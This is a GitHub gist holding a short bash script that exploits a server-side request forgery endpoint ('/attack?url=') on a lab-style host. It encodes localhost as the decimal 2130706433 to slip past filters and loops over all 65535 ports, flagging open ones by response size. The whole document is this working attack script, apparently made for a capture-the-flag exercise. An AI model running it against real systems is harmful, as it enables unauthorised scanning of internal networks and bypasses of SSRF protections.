Skip to content

Instantly share code, notes, and snippets.

@fado
Created February 17, 2022 11:16
Show Gist options
  • Save fado/301a5d90e523b106f388e0076f666fd6 to your computer and use it in GitHub Desktop.
Save fado/301a5d90e523b106f388e0076f666fd6 to your computer and use it in GitHub Desktop.
for x in {1..65535};
do cmd=$(curl -so /dev/null http://10.10.208.52:8000/attack?url=http://2130706433:${x} \
-w '%{size_download}');
if [ $cmd != 1045 ]; then
echo "Open port: $x"
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment